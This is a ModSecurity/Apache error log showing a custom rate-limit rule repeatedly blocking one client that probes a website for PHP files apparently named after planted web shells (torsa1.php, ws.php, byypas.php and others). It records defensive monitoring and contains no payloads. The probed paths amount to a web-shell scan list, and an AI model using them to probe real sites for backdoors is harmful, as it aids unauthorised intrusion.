[Sat Apr 11 02:43:43.447175 2026] [:error] [pid 21570:tid 21672] [client 4.245.205.135:56668] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/lmutxdvyp7u5yksqke8ozbjgCdefault.php"] [unique_id "adlE3zKs5t9xRSNL6cnfywAAAEU"]
[Sat Apr 11 02:43:44.056827 2026] [:error] [pid 21570:tid 21668] [client 4.245.205.135:43500] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/torsa1.php"] [unique_id "adlE4DKs5t9xRSNL6cnf0QAAAEM"]
[Sat Apr 11 02:43:44.575035 2026] [:error] [pid 21568:tid 21591] [client 4.245.205.135:57378] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/torsa1.php"] [unique_id "adlE4Iiz5v_ljZxkpR_m-gAAARM"]
[Sat Apr 11 02:43:45.280923 2026] [:error] [pid 21706:tid 21715] [client 4.245.205.135:62105] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/torsa1.php"] [unique_id "adlE4SGQ1M5d8fQSsLHXfQAAAAc"]
[Sat Apr 11 02:43:45.856347 2026] [:error] [pid 21706:tid 21711] [client 4.245.205.135:56654] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/torsa1.php"] [unique_id "adlE4SGQ1M5d8fQSsLHXgwAAAAM"]
[Sat Apr 11 02:43:46.497199 2026] [:error] [pid 21706:tid 21727] [client 4.245.205.135:44229] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/sadcut1.php"] [unique_id "adlE4iGQ1M5d8fQSsLHXiAAAABM"]
[Sat Apr 11 02:43:47.065979 2026] [:error] [pid 21706:tid 21713] [client 4.245.205.135:37307] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/sadcut1.php"] [unique_id "adlE4yGQ1M5d8fQSsLHXjwAAAAU"]
[Sat Apr 11 02:43:47.790927 2026] [:error] [pid 55451:tid 55472] [client 4.245.205.135:61540] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/sadcut1.php"] [unique_id "adlE43ApxuyB7yCS5RkxMwAAANM"]
[Sat Apr 11 02:43:48.459882 2026] [:error] [pid 55451:tid 55473] [client 4.245.205.135:56677] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/sadcut1.php"] [unique_id "adlE5HApxuyB7yCS5RkxNgAAANQ"]
[Sat Apr 11 02:43:49.128530 2026] [:error] [pid 21706:tid 21717] [client 4.245.205.135:37272] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/zoper1.php"] [unique_id "adlE5SGQ1M5d8fQSsLHXlQAAAAk"]
[Sat Apr 11 02:43:50.356826 2026] [:error] [pid 21569:tid 21654] [client 4.245.205.135:60800] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/zoper1.php"] [unique_id "adlE5nAvQTgvXJ6vHoqw_AAAAIk"]
[Sat Apr 11 02:43:51.082214 2026] [:error] [pid 55451:tid 55474] [client 4.245.205.135:62096] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/zoper1.php"] [unique_id "adlE53ApxuyB7yCS5RkxRAAAANU"]
[Sat Apr 11 02:43:51.696876 2026] [:error] [pid 21570:tid 21694] [client 4.245.205.135:65258] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/zoper1.php"] [unique_id "adlE5zKs5t9xRSNL6cnf4AAAAFQ"]
[Sat Apr 11 02:43:52.268141 2026] [:error] [pid 21568:tid 21594] [client 4.245.205.135:44280] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws.php"] [unique_id "adlE6Iiz5v_ljZxkpR_nIgAAARY"]
[Sat Apr 11 02:43:52.797006 2026] [:error] [pid 21568:tid 21592] [client 4.245.205.135:37248] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws.php"] [unique_id "adlE6Iiz5v_ljZxkpR_nJQAAARQ"]
[Sat Apr 11 02:43:53.319170 2026] [:error] [pid 21706:tid 21732] [client 4.245.205.135:46398] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws.php"] [unique_id "adlE6SGQ1M5d8fQSsLHXqAAAABg"]
[Sat Apr 11 02:43:54.033566 2026] [:error] [pid 21706:tid 21711] [client 4.245.205.135:60807] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws.php"] [unique_id "adlE6iGQ1M5d8fQSsLHXrgAAAAM"]
[Sat Apr 11 02:43:54.570986 2026] [:error] [pid 21570:tid 21675] [client 4.245.205.135:44244] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ortasekerli1.php"] [unique_id "adlE6jKs5t9xRSNL6cnf8AAAAEc"]
[Sat Apr 11 02:43:55.213325 2026] [:error] [pid 21570:tid 21672] [client 4.245.205.135:58902] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ortasekerli1.php"] [unique_id "adlE6zKs5t9xRSNL6cnf9gAAAEU"]
[Sat Apr 11 02:43:55.723082 2026] [:error] [pid 55451:tid 55459] [client 4.245.205.135:61532] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ortasekerli1.php"] [unique_id "adlE63ApxuyB7yCS5RkxXAAAAMY"]
[Sat Apr 11 02:43:56.260489 2026] [:error] [pid 21706:tid 21708] [client 4.245.205.135:57361] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ortasekerli1.php"] [unique_id "adlE7CGQ1M5d8fQSsLHXtQAAAAA"]
[Sat Apr 11 02:43:56.772019 2026] [:error] [pid 21706:tid 21712] [client 4.245.205.135:60243] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-good.php"] [unique_id "adlE7CGQ1M5d8fQSsLHXuwAAAAQ"]
[Sat Apr 11 02:43:57.267106 2026] [:error] [pid 21706:tid 21731] [client 4.245.205.135:62116] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-good.php"] [unique_id "adlE7SGQ1M5d8fQSsLHXvwAAABc"]
[Sat Apr 11 02:43:57.831956 2026] [:error] [pid 21568:tid 21574] [client 4.245.205.135:56694] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-good.php"] [unique_id "adlE7Yiz5v_ljZxkpR_nSgAAAQI"]
[Sat Apr 11 02:43:58.420818 2026] [:error] [pid 21569:tid 21667] [client 4.245.205.135:60824] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-good.php"] [unique_id "adlE7nAvQTgvXJ6vHoqxEQAAAJE"]
[Sat Apr 11 02:43:59.055790 2026] [:error] [pid 21569:tid 21660] [client 4.245.205.135:52971] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wmore1.php"] [unique_id "adlE73AvQTgvXJ6vHoqxFQAAAI4"]
[Sat Apr 11 02:43:59.716941 2026] [:error] [pid 21706:tid 21728] [client 4.245.205.135:37290] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wmore1.php"] [unique_id "adlE7yGQ1M5d8fQSsLHXzQAAABQ"]
[Sat Apr 11 02:44:00.423647 2026] [:error] [pid 21568:tid 21582] [client 4.245.205.135:36026] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wmore1.php"] [unique_id "adlE8Iiz5v_ljZxkpR_nXQAAAQo"]
[Sat Apr 11 02:44:01.056081 2026] [:error] [pid 21570:tid 21688] [client 4.245.205.135:44275] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wmore1.php"] [unique_id "adlE8TKs5t9xRSNL6cngAQAAAE4"]
[Sat Apr 11 02:44:01.623036 2026] [:error] [pid 21706:tid 21729] [client 4.245.205.135:57382] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/new3.php"] [unique_id "adlE8SGQ1M5d8fQSsLHX1gAAABU"]
[Sat Apr 11 02:44:02.200663 2026] [:error] [pid 21706:tid 21721] [client 4.245.205.135:44252] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/new3.php"] [unique_id "adlE8iGQ1M5d8fQSsLHX3AAAAA0"]
[Sat Apr 11 02:44:02.746498 2026] [:error] [pid 21706:tid 21712] [client 4.245.205.135:35976] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/new3.php"] [unique_id "adlE8iGQ1M5d8fQSsLHX5QAAAAQ"]
[Sat Apr 11 02:44:03.352801 2026] [:error] [pid 21569:tid 21659] [client 4.245.205.135:53939] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/new3.php"] [unique_id "adlE83AvQTgvXJ6vHoqxHAAAAI0"]
[Sat Apr 11 02:44:03.939198 2026] [:error] [pid 21706:tid 21730] [client 4.245.205.135:46990] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/nw.php"] [unique_id "adlE8yGQ1M5d8fQSsLHX8wAAABY"]
[Sat Apr 11 02:44:04.940274 2026] [:error] [pid 21706:tid 21710] [client 4.245.205.135:49663] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/nw.php"] [unique_id "adlE9CGQ1M5d8fQSsLHX_wAAAAI"]
[Sat Apr 11 02:44:05.466272 2026] [:error] [pid 21706:tid 21712] [client 4.245.205.135:37296] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/nw.php"] [unique_id "adlE9SGQ1M5d8fQSsLHYCQAAAAQ"]
[Sat Apr 11 02:44:06.006485 2026] [:error] [pid 21569:tid 21657] [client 4.245.205.135:65249] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/nw.php"] [unique_id "adlE9nAvQTgvXJ6vHoqxHwAAAIw"]
[Sat Apr 11 02:44:06.623764 2026] [:error] [pid 21570:tid 21665] [client 4.245.205.135:35979] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/byypas.php"] [unique_id "adlE9jKs5t9xRSNL6cngDAAAAEI"]
[Sat Apr 11 02:44:07.419949 2026] [:error] [pid 21706:tid 21731] [client 4.245.205.135:35981] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/byypas.php"] [unique_id "adlE9yGQ1M5d8fQSsLHYEwAAABc"]
[Sat Apr 11 02:44:07.948532 2026] [:error] [pid 21568:tid 21574] [client 4.245.205.135:58915] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/byypas.php"] [unique_id "adlE94iz5v_ljZxkpR_nbQAAAQI"]
[Sat Apr 11 02:44:08.955113 2026] [:error] [pid 21569:tid 21660] [client 4.245.205.135:53902] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/byypas.php"] [unique_id "adlE-HAvQTgvXJ6vHoqxLgAAAI4"]
[Sat Apr 11 02:44:09.542209 2026] [:error] [pid 21570:tid 21696] [client 4.245.205.135:43399] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/rithin.php"] [unique_id "adlE-TKs5t9xRSNL6cngEwAAAFY"]
[Sat Apr 11 02:44:10.072372 2026] [:error] [pid 21570:tid 21673] [client 4.245.205.135:53930] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/rithin.php"] [unique_id "adlE-jKs5t9xRSNL6cngFQAAAEY"]
[Sat Apr 11 02:44:10.733248 2026] [:error] [pid 21570:tid 21677] [client 4.245.205.135:65247] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/rithin.php"] [unique_id "adlE-jKs5t9xRSNL6cngHAAAAEg"]
[Sat Apr 11 02:44:11.891296 2026] [:error] [pid 21570:tid 21668] [client 4.245.205.135:52932] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/rithin.php"] [unique_id "adlE-zKs5t9xRSNL6cngHgAAAEM"]
[Sat Apr 11 02:44:12.455858 2026] [:error] [pid 55451:tid 55455] [client 4.245.205.135:44277] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/a4.php"] [unique_id "adlE_HApxuyB7yCS5RkxewAAAMI"]
[Sat Apr 11 02:44:13.632567 2026] [:error] [pid 21570:tid 21694] [client 4.245.205.135:60249] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/a4.php"] [unique_id "adlE_TKs5t9xRSNL6cngJwAAAFQ"]
[Sat Apr 11 02:44:14.202713 2026] [:error] [pid 21569:tid 21669] [client 4.245.205.135:44242] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/a4.php"] [unique_id "adlE_nAvQTgvXJ6vHoqxOQAAAJI"]
[Sat Apr 11 02:44:15.354580 2026] [:error] [pid 55451:tid 55455] [client 4.245.205.135:37304] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/a4.php"] [unique_id "adlE_3ApxuyB7yCS5RkxigAAAMI"]
[Sat Apr 11 02:44:16.315532 2026] [:error] [pid 21568:tid 21594] [client 4.245.205.135:60845] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/jlex.php"] [unique_id "adlFAIiz5v_ljZxkpR_nkwAAARY"]
[Sat Apr 11 02:44:17.004075 2026] [:error] [pid 21569:tid 21652] [client 4.245.205.135:57365] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/jlex.php"] [unique_id "adlFAXAvQTgvXJ6vHoqxPwAAAIc"]
[Sat Apr 11 02:44:17.742140 2026] [:error] [pid 21570:tid 21692] [client 4.245.205.135:46343] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/jlex.php"] [unique_id "adlFATKs5t9xRSNL6cngMwAAAFI"]
[Sat Apr 11 02:44:19.041278 2026] [:error] [pid 55451:tid 55469] [client 4.245.205.135:35972] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/jlex.php"] [unique_id "adlFA3ApxuyB7yCS5RkxqwAAANA"]
[Sat Apr 11 02:44:20.586432 2026] [:error] [pid 21706:tid 21720] [client 4.245.205.135:62137] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xsas.php"] [unique_id "adlFBCGQ1M5d8fQSsLHYJgAAAAw"]
[Sat Apr 11 02:44:21.262627 2026] [:error] [pid 21706:tid 21732] [client 4.245.205.135:52985] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xsas.php"] [unique_id "adlFBSGQ1M5d8fQSsLHYKwAAABg"]
